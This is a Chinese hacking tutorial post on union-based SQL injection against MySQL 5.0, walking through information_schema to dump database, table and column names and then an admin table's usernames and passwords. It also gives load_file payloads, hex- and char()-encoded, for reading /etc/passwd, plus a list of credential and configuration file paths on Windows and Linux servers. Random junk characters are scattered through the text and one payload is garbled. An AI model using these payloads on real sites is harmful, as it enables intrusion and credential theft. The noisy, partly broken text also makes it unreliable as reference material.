mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
* o1 L! I1 {/ _/ a- B8 C
+ n1 m- h6 E# v3 n
* s, l- r( m8 b0 m7 d. d
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
8 T2 U7 M  d3 ^4 L; H中记录了Mysql中所有
1 D1 C4 e# {* o存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
4 ?+ i. e& j6 q& }* N/ I) p明。
! K* k" }5 I+ p( Z. V, {" N1.得到所有数据库名：
% S# T  `/ \( {! ^; E|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
" A) `( G2 V/ Y
0 _% W5 I% @4 K& E/ t$ D: V|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
, `3 K$ h4 \3 Z
: i- {1 c0 ?1 S- Y- O1 B% l|—字段：COLUMN_NAME ->该字段的名称

8 _5 F1 C3 }- @* n  L#########################################################################
##
% q; q# I1 e% q  j# h
0×001 获取系统信息:

5 Q) O0 [3 r+ ]( B- }' e0 q( z) ^union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
; M+ |& X- x7 g  \: p: B(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

, o. H& r( @+ p& {9 J" f/*

@@global.version_compile_os 获取系统版本
- J- q, L6 c: B2 w, W( M8 Q
@@datadir 数据库路径
( W( e  S6 \& _  U5 l/ D/ l0 ldatabase() 当前数据库名称
" V( O- W! Y3 |0x3c62723e 换行HEX值
% ^" N6 D! @6 {1 g9 t
*/

######################################################################
, w- b0 H% F5 d; u9 X( l1 ^
0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
2 V: m) m, B/ @6 X$ F
/*
' U% A7 W0 C3 ]! j; ]% w/ I
0x67617264656e 为当前数据库名

% B6 W: @( }* Zgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
5 Q! q0 f) u' U( a
######################################################################

0×003 获取字段

3 M# Q' Q- g. q4 y3 O8 g4 w  `. nunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
+ u. u, E! f4 y; v$ _' @9 m0 g5 Ginformation_schema.columns where table_name=0x61646d696e and
! c) G4 A& F  Z1 m$ J
4 r! ]. ^/ U+ g2 X! b" K( Q
! e0 O5 u/ }# u. r% atable_schema=0x67617264656e limit 1 /*
$ d0 Q8 J: u& @. i5 D3 t
2 T8 G  R0 d8 k' v5 j/*
' Y' ^/ q" ]4 y# O
/ Y2 u6 B' u, V. v2 ^group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

2 v4 X+ Q; s0 {- o- V0x61646d696e ->选择一个表
4 e$ |( @1 N% U& u( X% _
/ K' W8 i' H, G4 U, Y# {; h0x67617264656e ->数据库名
) c9 m+ C: N  R5 N  J2 O
! |7 ?3 w. p, [0 s; l" }4 _*/
9 \3 r5 V; }' {3 p+ ~4 w
#####################################################################
. @) A. [. i5 t, g
0×004 获取数据
; z* l8 X) y/ |6 V& @7 N
4 k. ?/ `% _, a7 I+ O# vunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

5 ~- o  @* f9 Q7 Munion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
9 R4 r& f, Z; {4 r; V, q8 Q5 f8 x
/*
  q0 c% N' W0 H1 K% J
9 ^9 s  c+ ~7 w- |# g4 _& ^0x3c62723e 换行符号HEX编码

& t8 A! ?, g9 G/ N3 o+ K* q2 {& ~group_concat 同时获得该字段所有数据

% D% J) z5 a) [& L! G4 \" H*/

4 c5 ?0 H4 U2 K9 j3 O/ }
; j+ S5 E# Z: D; h$ O+ |" h( H4 O

- b4 x, G) o: ]
顺便添加一些mysql注入时非常有用的一些东西
) \& T5 q* k, A  m
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user()        用户名
3 S, I+ }* H2 }: i( I( q3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
; F  A) A5 i' U# e/ f  e6:version()     MYSQL数据库版本
# [3 H; b5 o( z6 E& |2 o7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
7 m8 o/ {8 @/ H# J: F2 T# L% T+ pc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
% P' y- ?3 C, Q; jc:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
1 a3 Z0 T9 {0 C9 }$ d0 e& |7 R* Nc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
. X4 k# S  {& D# x. g& B1 m5 G( d/ ~c:\Program Files\Serv-U\ServUDaemon.ini
+ @* ?7 `) X  V/ b* uc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
6 Z8 m7 w+ i7 _, T- ?0 tc:\Program Files\RhinoSoft.com\ServUDaemon.exe
5 s; B$ Y3 L6 wC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
" s; R0 e1 j. }- V/ F( J//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
4 H2 c1 L$ J2 H0 s7 n9 Rc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


1 a5 a8 a  c" F' a0 z0 {; Nc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
6 X& G- J/ B9 W) Dd:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
9 Z# K- _5 X0 _" T3 X3 ]C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
7 O4 ~* h; T7 e  a
LUNIX/UNIX下:
5 T* J/ k) N, E# |1 }/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
& j3 K6 N1 _8 E: i" f/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
  m" \- `. ?6 K& h! V/etc/sysconfig/iptables //从中得到防火墙规则策略
+ p7 E, [& n3 K0 b9 Q; e( m& ~/etc/httpd/conf/httpd.conf // apache配置文件
, Z/ K& ]9 f& h9 ^1 o8 y5 x/ Q/etc/rsyncd.conf //同步程序配置文件
& J" c$ b  Z0 B5 e) `1 I2 `/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
! A  ]1 j& \' q. v  a7 z" Q/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
7 h, T5 y) ~# F+ B/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
2 U: N2 L" e" v/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
; W5 x* M# {2 ^' s; h/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
: L7 @# w3 [7 Z& _, P/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
- N7 Y1 q' y5 g+ Y! y# I. |( Lload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
- \. @* K9 f% ~+ _- H9 nreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.